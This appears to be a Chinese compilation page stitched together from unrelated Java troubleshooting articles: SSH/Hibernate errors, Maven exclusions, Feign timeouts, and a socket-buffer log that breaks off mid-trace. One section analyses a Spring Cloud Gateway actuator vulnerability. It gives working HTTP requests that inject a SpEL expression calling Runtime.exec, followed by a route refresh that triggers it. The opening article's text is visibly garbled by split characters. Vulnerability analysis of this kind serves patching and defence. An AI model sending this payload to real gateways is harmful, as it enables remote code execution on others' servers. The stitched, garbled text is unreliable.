failed to invoke event listener method

合集下载

SSH整合常见错误

SSH整合常见错误

spring‎+hibern‎a te出错小‎结:(1)ng.NoClas‎s DefFo‎u ndErr‎o r: org/hibern‎a te/contex‎t/Curren‎t Sessi‎o nCont‎e xt原因:出现这错误时‎,请更改hib‎e rnate‎的包,更新至最新或‎3.1以上(2)ng.NoClas‎s DefFo‎u ndErr‎o r: javax/transa‎c tion/Transa‎c tionM‎a nager‎原因:缺少jta.jar 或者是找不到‎h bm.xml文件导‎致sessi‎o nfact‎o ry出错,检查hbm文‎件路径是否正‎确,文件是否存在‎(3) 错误:Except‎i on in thread‎"main" org.hibern‎a te.except‎i on.SQLGra‎m marEx‎c eptio‎n: Could not execut‎e JDBC batch update‎或者org.spring‎f ramew‎o rk.jdbc.BadSql‎G ramma‎r Excep‎t ion: Hibern‎a te operat‎i on: could not insert‎: [com.yourco‎m pany.model.Login]; bad SQL gramma‎r [insert‎into mysql_‎_login‎(name, passwo‎r d) values‎(?,?)]; nested‎except‎i on is java.sql.SQLExc‎e ption‎:Table 'mysql.mysql_‎_login‎'doesn't exist java.sql.SQLExc‎e ption‎: Table 'mysql.mysql_‎_login‎' doesn't exist原因与解决:因为Hibe‎r nate Tools(或者Ecli‎p se本身的‎D ataba‎s e Explor‎e r)生成*.hbn.xml工具中‎包含有cat‎a log="***"(*表示数据库名‎称)这样的属性,将该属性删除‎就可以了(4)org.spring‎f ramew‎o rk.orm.hibern‎a te3.Hibern‎a teQue‎r yExce‎p tion: undefi‎n ed alias原因:在sprin‎g配置文件中‎,可能你设置了‎<prop key="hibern‎a te.query.factor‎y_clas‎s"> org.hibern‎a te.hql.classi‎c.Classi‎c Query‎T ransl‎a torFa‎c tory</prop>,指定了HQL‎的解释器,请删除或更改‎另一个解释器‎o rg.hibern‎a te.hql.ast.ASTQue‎r yTran‎s lator‎F actor‎y,如果没有设置‎,请确认是否有‎写错了HQL‎语句,是否与POJ‎O里的属性一‎样。

SpringCloudGatewayactuator组建对外暴露RCE问题漏洞分析

SpringCloudGatewayactuator组建对外暴露RCE问题漏洞分析

SpringCloudGatewayactuator组建对外暴露RCE问题漏洞分析 Spring Cloud gateway是什么?Spring Cloud Gateway是Spring Cloud官⽅推出的第⼆代⽹关框架,取代Zuul⽹关。

⽹关作为流量的,在微服务系统中有着⾮常作⽤,⽹关常见的功能有路由转发、权限校验、限流控制等作⽤ 漏洞描述:当启⽤、暴露和不安全的 Gateway Actuator 端点时,使⽤ Spring Cloud Gateway 的应⽤程序容易受到代码注⼊攻击。

远程攻击者可以发出恶意制作的请求,允许在远程主机上进⾏任意远程执⾏。

 漏洞复测:POST /actuator/gateway/routes/test1 HTTP/1.1Host: 127.0.0.1:8889Pragma: no-cacheCache-Control: no-cachesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"Sec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8889/actuator/Content-Type:application/jsonContent-Length: 184{"id":"test1","filters":[{"name":"RewritePath","args":{"test":"#{T(ng.Runtime).getRuntime().exec(\"open /System/Applications/Calculator.app\")}"}}]}刷新触发请求:POST /actuator/gateway/refresh HTTP/1.1Host: 127.0.0.1:8889Pragma: no-cacheCache-Control: no-cachesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"Sec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8889/actuator/Content-Type:application/json直接触发rce: 从0开始漏洞分析: 受影响的版本锁定:Spring Cloud Gateway3.1.03.0.0 to 3.0.6Older, unsupported versions are also affected 直接去github查看: 看diff,对⽐: 全局搜索.java等关键字: 关键代码位置:spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java 通过代码,很容易看出来,这是spel注⼊,符合前⾯漏洞预警说的代码注⼊: 现在sink找到了,就差source,看情况是这样⼦的 除了这样找sink,还可以通过commit查看,⽆需对⽐,⼀样是关键字搜索: 看到spel,盲猜spel注⼊,跟进去看看:好了,下⾯开始第⼆步分析,从下往上找,⽬前已基础判断出sink为spel注⼊,从下往上⾛:漏洞环境搭建好了,所以我直接去idea⾥⾯打开路径:spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.javaidea⾥⾯对应的路径:springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ShortcutConfigurable.class:可通过Structure查看结构体:在这⾥调度出来: 这⾥直接在sink⽂件断⼀⼑: 42⾏ 重启服务打exp:断下来了,拿到利⽤链:getValue:58, ShortcutConfigurable (org.springframework.cloud.gateway.support)normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)apply:-1, 872736196 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$769)onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher)onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher)drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher)subscribe:8469, Flux (reactor.core.publisher)onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)request:230, FluxIterable$IterableSubscription (reactor.core.publisher)onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)subscribe:165, FluxIterable (reactor.core.publisher)subscribe:87, FluxIterable (reactor.core.publisher)subscribe:8469, Flux (reactor.core.publisher)onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)request:230, FluxIterable$IterableSubscription (reactor.core.publisher)onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)subscribe:165, FluxIterable (reactor.core.publisher)subscribe:87, FluxIterable (reactor.core.publisher)subscribe:4400, Mono (reactor.core.publisher)subscribeWith:4515, Mono (reactor.core.publisher)subscribe:4371, Mono (reactor.core.publisher)subscribe:4307, Mono (reactor.core.publisher)subscribe:4279, Mono (reactor.core.publisher)onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route) onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route) doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event) invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event) multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event) publishEvent:421, AbstractApplicationContext (org.springframework.context.support)publishEvent:378, AbstractApplicationContext (org.springframework.context.support)refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (ng.reflect)lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method)apply:-1, 290554969 (org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lambda$861) trySubscribeScalarMap:152, FluxFlatMap (reactor.core.publisher)subscribeOrReturn:53, MonoFlatMap (reactor.core.publisher)subscribe:57, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribeNext:236, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)onComplete:203, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)onComplete:181, MonoFlatMap$FlatMapMain (reactor.core.publisher)complete:137, Operators (reactor.core.publisher)subscribe:120, MonoZip (reactor.core.publisher)subscribe:4400, Mono (reactor.core.publisher)subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)subscribe:51, MonoIgnoreThen (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)onNext:157, MonoFlatMap$FlatMapMain (reactor.core.publisher)onNext:74, FluxSwitchIfEmpty$SwitchIfEmptySubscriber (reactor.core.publisher)onNext:82, MonoNext$NextSubscriber (reactor.core.publisher)innerNext:282, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)onNext:863, FluxConcatMap$ConcatMapInner (reactor.core.publisher)onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)request:2398, Operators$ScalarSubscription (reactor.core.publisher)request:139, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)request:169, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)set:2194, Operators$MultiSubscriptionSubscriber (reactor.core.publisher)onSubscribe:2068, Operators$MultiSubscriptionSubscriber (reactor.core.publisher)onSubscribe:96, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)onSubscribe:152, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)subscribe:55, MonoJust (reactor.core.publisher)subscribe:4400, Mono (reactor.core.publisher)drain:451, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)onSubscribe:219, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher)subscribe:165, FluxIterable (reactor.core.publisher)subscribe:87, FluxIterable (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:52, MonoDefer (reactor.core.publisher)subscribe:4400, Mono (reactor.core.publisher)subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher)subscribe:51, MonoIgnoreThen (reactor.core.publisher)subscribe:64, InternalMonoOperator (reactor.core.publisher)subscribe:55, MonoDeferContextual (reactor.core.publisher)onStateChange:967, HttpServer$HttpServerHandle (ty.http.server)onStateChange:677, ReactorNetty$CompositeConnectionObserver (ty)onStateChange:478, ServerTransport$ChildObserver (ty.transport)onInboundNext:570, HttpServerOperations (ty.http.server)channelRead:93, ChannelOperationsHandler (ty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (ty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (ty.channel)fireChannelRead:357, AbstractChannelHandlerContext (ty.channel)channelRead:220, HttpTrafficHandler (ty.http.server)invokeChannelRead:379, AbstractChannelHandlerContext (ty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (ty.channel)fireChannelRead:357, AbstractChannelHandlerContext (ty.channel)fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (ty.channel) fireChannelRead:327, ByteToMessageDecoder (ty.handler.codec)channelRead:299, ByteToMessageDecoder (ty.handler.codec)channelRead:251, CombinedChannelDuplexHandler (ty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (ty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (ty.channel)fireChannelRead:357, AbstractChannelHandlerContext (ty.channel)channelRead:1410, DefaultChannelPipeline$HeadContext (ty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (ty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (ty.channel)fireChannelRead:919, DefaultChannelPipeline (ty.channel)read:166, AbstractNioByteChannel$NioByteUnsafe (ty.channel.nio)processSelectedKey:722, NioEventLoop (ty.channel.nio)processSelectedKeysOptimized:658, NioEventLoop (ty.channel.nio)processSelectedKeys:584, NioEventLoop (ty.channel.nio)run:496, NioEventLoop (ty.channel.nio)run:986, SingleThreadEventExecutor$4 (ty.util.concurrent)run:74, ThreadExecutorMap$2 (ty.util.internal)run:30, FastThreadLocalRunnable (ty.util.concurrent)run:748, Thread (ng)最上层是触发sink结束了这是⽅法,下⼀层就是调⽤了:org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ConfigurationService.classprotected Map<String, Object> normalizeProperties() {return this.service.beanFactory != null ? ((ShortcutConfigurable)this.configurable).shortcutType().normalize(this.properties, (ShortcutConfigurable)this.configurable, this.service.parser, this.service.beanFactory) : super.normalizeProperties }查看属性value:其中的key和value就是我们的fiter⾥⾯的属性内容:再往下看⼀层:name为我们⾃定义的RewritePath结论:引⽤y4er⼤佬的话:这个normalizeProperties()是对filter的属性进⾏解析,会将filter的配置属性传⼊normalize中,最后进⼊getValue执⾏SPEL表达式造成SPEL表达式注⼊。

org.hibernate.exception.GenericJDBCException:。。。

org.hibernate.exception.GenericJDBCException:。。。

org.hibernate.exception.GenericJDBCException:。

异常信息:Exception:org.hibernate.exception.GenericJDBCException: could not execute statementStack trace:org.hibernate.exception.GenericJDBCException: could not execute statementat org.hibernate.exception.internal.StandardSQLExceptionConverter.convert(StandardSQLExceptionConverter.java:54)at org.hibernate.engine.jdbc.spi.SqlExceptionHelper.convert(SqlExceptionHelper.java:125)at org.hibernate.engine.jdbc.spi.SqlExceptionHelper.convert(SqlExceptionHelper.java:110)at org.hibernate.engine.jdbc.internal.ResultSetReturnImpl.executeUpdate(ResultSetReturnImpl.java:136)at org.hibernate.id.IdentityGenerator$GetGeneratedKeysDelegate.executeAndExtract(IdentityGenerator.java:96)at org.hibernate.id.insert.AbstractReturningDelegate.performInsert(AbstractReturningDelegate.java:58)at org.hibernate.persister.entity.AbstractEntityPersister.insert(AbstractEntityPersister.java:2975)at org.hibernate.persister.entity.AbstractEntityPersister.insert(AbstractEntityPersister.java:3487)at org.hibernate.action.internal.EntityIdentityInsertAction.execute(EntityIdentityInsertAction.java:81)at org.hibernate.engine.spi.ActionQueue.execute(ActionQueue.java:377)at org.hibernate.engine.spi.ActionQueue.addResolvedEntityInsertAction(ActionQueue.java:214)at org.hibernate.engine.spi.ActionQueue.addInsertAction(ActionQueue.java:194)at org.hibernate.engine.spi.ActionQueue.addAction(ActionQueue.java:178)at org.hibernate.event.internal.AbstractSaveEventListener.addInsertAction(AbstractSaveEventListener.java:321)at org.hibernate.event.internal.AbstractSaveEventListener.performSaveOrReplicate(AbstractSaveEventListener.java:286)at org.hibernate.event.internal.AbstractSaveEventListener.performSave(AbstractSaveEventListener.java:192)at org.hibernate.event.internal.AbstractSaveEventListener.saveWithGeneratedId(AbstractSaveEventListener.java:125)at org.hibernate.event.internal.DefaultSaveOrUpdateEventListener.saveWithGeneratedOrRequestedId(DefaultSaveOrUpdateEventListener.java:206)at org.hibernate.event.internal.DefaultSaveEventListener.saveWithGeneratedOrRequestedId(DefaultSaveEventListener.java:55)at org.hibernate.event.internal.DefaultSaveOrUpdateEventListener.entityIsTransient(DefaultSaveOrUpdateEventListener.java:191)at org.hibernate.event.internal.DefaultSaveEventListener.performSaveOrUpdate(DefaultSaveEventListener.java:49)at org.hibernate.event.internal.DefaultSaveOrUpdateEventListener.onSaveOrUpdate(DefaultSaveOrUpdateEventListener.java:90)at org.hibernate.internal.SessionImpl.fireSave(SessionImpl.java:764)at org.hibernate.internal.SessionImpl.save(SessionImpl.java:756)at org.hibernate.internal.SessionImpl.save(SessionImpl.java:752)at erDaoImpl.save(UserDaoImpl.java:19)at erServiceImpl.save(UserServiceImpl.java:16)at erServiceImpl$$FastClassByCGLIB$$7d9d4604.invoke(<generated>)at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204)at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:710)at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157)at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:98)at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:262)at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:95)at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179)at org.springframework.aop.interceptor.ExposeInvocationInterceptor.invoke(ExposeInvocationInterceptor.java:92)at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179)at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:643)at erServiceImpl$$EnhancerByCGLIB$$f1d51c6f.save(<generated>)at erAction.save(UserAction.java:26)at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)at ng.reflect.Method.invoke(Method.java:606)at com.opensymphony.xwork2.DefaultActionInvocation.invokeAction(DefaultActionInvocation.java:450)at com.opensymphony.xwork2.DefaultActionInvocation.invokeActionOnly(DefaultActionInvocation.java:289)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:252)at org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:256)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:167)at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at com.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:265)at org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:68)at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor.intercept(ConversionErrorInterceptor.java:138)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:239)at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:239)at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:191)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:73)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:91)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:252)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:100)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:141) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:145)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:171)at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at com.opensymphony.xwork2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:161)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:164)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:193)at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:189) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:246)at org.apache.struts2.impl.StrutsActionProxy.execute(StrutsActionProxy.java:54)at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:563)at org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:77)at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:99) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:222)at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:123)at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:502)at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171)at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:99)at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:953)at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:118)at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:408)at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1023)at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:589)at .JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:310)at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)at ng.Thread.run(Thread.java:745)Caused by: java.sql.SQLException: Field 'id' doesn't have a default valueat com.mysql.jdbc.SQLError.createSQLException(SQLError.java:1075)at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3566)at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3498)at com.mysql.jdbc.MysqlIO.sendCommand(MysqlIO.java:1959)at com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:2113)at com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2568)at com.mysql.jdbc.PreparedStatement.executeInternal(PreparedStatement.java:2113)at com.mysql.jdbc.PreparedStatement.executeUpdate(PreparedStatement.java:2409)at com.mysql.jdbc.PreparedStatement.executeUpdate(PreparedStatement.java:2327)at com.mysql.jdbc.PreparedStatement.executeUpdate(PreparedStatement.java:2312)at org.hibernate.engine.jdbc.internal.ResultSetReturnImpl.executeUpdate(ResultSetReturnImpl.java:133)... 105 more错误原因:没有设置数据库表主键⾃增长。

关于Maven依赖冲突解决之exclusions

关于Maven依赖冲突解决之exclusions

关于Maven依赖冲突解决之exclusions⽬录Maven依赖冲突解决之exclusions1. 背景2. 解决⽅式场景解决⽅式Maven解决依赖冲突总结实例分析解决办法命令分析⼩试⽜⼑Maven依赖冲突解决之exclusions1. 背景作为java⽣态下开发者,往往需要使⽤⼤量线程的第三⽅库,⼀般都是以jar包形式存在。

maven作为事实上主流的jar包依赖管理⼯具,Idea和Eclipse都⽀持创建maven⼯程来管理jar包依赖。

使⽤maven进⾏jar包依赖管理时,maven会⾃⾏管理jar包及其依赖链条,但往往会遇到依赖冲突问题,这时候就可以尝试使⽤exclusion来进⾏依赖管理。

2. 解决⽅式场景假如hadoop集群中hadoop版本是3.2.1,这时候为了保证程序能够顺利操作hadoop,需要引⼊hadoop-client的3.2.1版本。

但这⾥也可以看到,spark-core_2.12内部也有对hadoop-client的依赖,⽽且版本是低版本的2.7.4,这时候往往就会产⽣冲突或者未知错误。

所以需要使⽤exclusions做依赖排除。

解决⽅式使⽤exclusions来对某⼀个第三⽅库引⼊的依赖jar包做排除<dependency><groupId>org.apache.spark</groupId><artifactId>spark-core_2.12</artifactId><version>${spark.version}</version><exclusions><exclusion><groupId>org.apache.hadoop</groupId><artifactId>hadoop-client</artifactId></exclusion><exclusion><groupId>com.google.guava</groupId><artifactId>guava</artifactId></exclusion></exclusions></dependency>Maven解决依赖冲突总结如果存在jar包的依赖冲突,在项⽬启动时总是报类似这样的错:NoSuchMethodError、ClassNotFoundException、成员变量找不到等等。

FeignClient超时时间配置不生效的解决

FeignClient超时时间配置不生效的解决

FeignClient超时时间配置不⽣效的解决⽬录Feign Client 超时时间配置不⽣效解决⽅案问题描述Feign Client的各种超时时间设置1. Feign Client Configuration2. Hystrix Configuration3. Ribbon Configuration4. OkHttp Client Configuration5. ⼩结⼀下吧Feign Client 超时时间配置不⽣效解决⽅案Feign Client 的 connectTimeout 和 readTimeout 需要同时配置:feign.client.config.my-api.connectTimeout = 10000feign.client.config.my-api.readTimeout = 600000如果只配置了 readTimeout 或 connectTimeout 的其中⼀条,配置不⽣效。

问题描述Feign Client 配置如下:feign.client.config.default.connectTimeout = 3000feign.client.config.default.readTimeout = 3000feign.client.config.my-api.readTimeout = 600000默认超时时间配置了 3 秒。

由于 my-api 的响应数据较⼤,于是配置了 10 分钟超时时间。

执⾏后发现,my-api 请求仍然 3 秒后就抛出如下异常:Caused by: feign.RetryableException: Read timed out executing POST http://my-apiat feign.FeignException.errorExecuting(FeignException.java:67)at feign.SynchronousMethodHandler.executeAndDecode(SynchronousMethodHandler.java:104)at feign.SynchronousMethodHandler.invoke(SynchronousMethodHandler.java:76)at feign.hystrix.HystrixInvocationHandler$1.run(HystrixInvocationHandler.java:108)at flix.hystrix.HystrixCommand$2.call(HystrixCommand.java:302)at flix.hystrix.HystrixCommand$2.call(HystrixCommand.java:298)at rx.internal.operators.OnSubscribeDefer.call(OnSubscribeDefer.java:46)Feign Client的各种超时时间设置在Spring Cloud微服务架构中,⼤部分公司都是利⽤Open Feign进⾏服务间的调⽤,⽽⽐较简单的业务使⽤默认配置是不会有多⼤问题的,但是如果是业务⽐较复杂,服务要进⾏⽐较繁杂的业务计算,那后台很有可能会出现Read Timeout这个异常,因此定制化配置超时时间就有必要了。

记录一次Nobufferspaceavailable问题

记录一次Nobufferspaceavailable问题

记录⼀次Nobufferspaceavailable问题前⾔:服务器的接⼝服务⼀直是好的,突然有⼀天,恩,接⼝服务不通了,看log,发现了这个错误:Caused by: .SocketException: No buffer space available (maximum connections reached?): connectat .connect0(Native Method)at .connect(Unknown Source)at .connect(Unknown Source)at sun.nio.ch.SocketChannelImpl.connect(Unknown Source)at java.nio.channels.SocketChannel.open(Unknown Source)at sun.nio.ch.PipeImpl$Initializer$LoopbackConnector.run(Unknown Source)... 36 common frames omitted2019-07-0213:10:18 [main] INFO o.a.c.h.Http11NioProtocol - Pausing ProtocolHandler ["http-nio-8556"]2019-07-0213:10:18 [main] ERROR o.a.c.c.Connector - Protocol handler pause failedng.NullPointerException: nullat .AbstractEndpoint.unlockAccept(AbstractEndpoint.java:899)at .AbstractEndpoint.pause(AbstractEndpoint.java:1185)at org.apache.coyote.AbstractProtocol.pause(AbstractProtocol.java:612)at org.apache.catalina.connector.Connector.pause(Connector.java:944)at org.apache.catalina.core.StandardService.stopInternal(StandardService.java:467)at org.apache.catalina.util.LifecycleBase.stop(LifecycleBase.java:226)at org.apache.catalina.core.StandardServer.stopInternal(StandardServer.java:814)at org.apache.catalina.util.LifecycleBase.stop(LifecycleBase.java:226)at org.apache.catalina.startup.Tomcat.stop(Tomcat.java:377)at org.springframework.boot.web.embedded.tomcat.TomcatWebServer.stopTomcat(TomcatWebServer.java:247)at org.springframework.boot.web.embedded.tomcat.TomcatWebServer.stopSilently(TomcatWebServer.java:235)at org.springframework.boot.web.embedded.tomcat.TomcatWebServer.start(TomcatWebServer.java:210)at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.startWebServer(ServletWebServerApplicationContext.java:300)at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.finishRefresh(ServletWebServerApplicationContext.java:162)at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:553)at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh(ServletWebServerApplicationContext.java:140)at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:762)at org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:398)at org.springframework.boot.SpringApplication.run(SpringApplication.java:330)at org.springframework.boot.SpringApplication.run(SpringApplication.java:1258)at 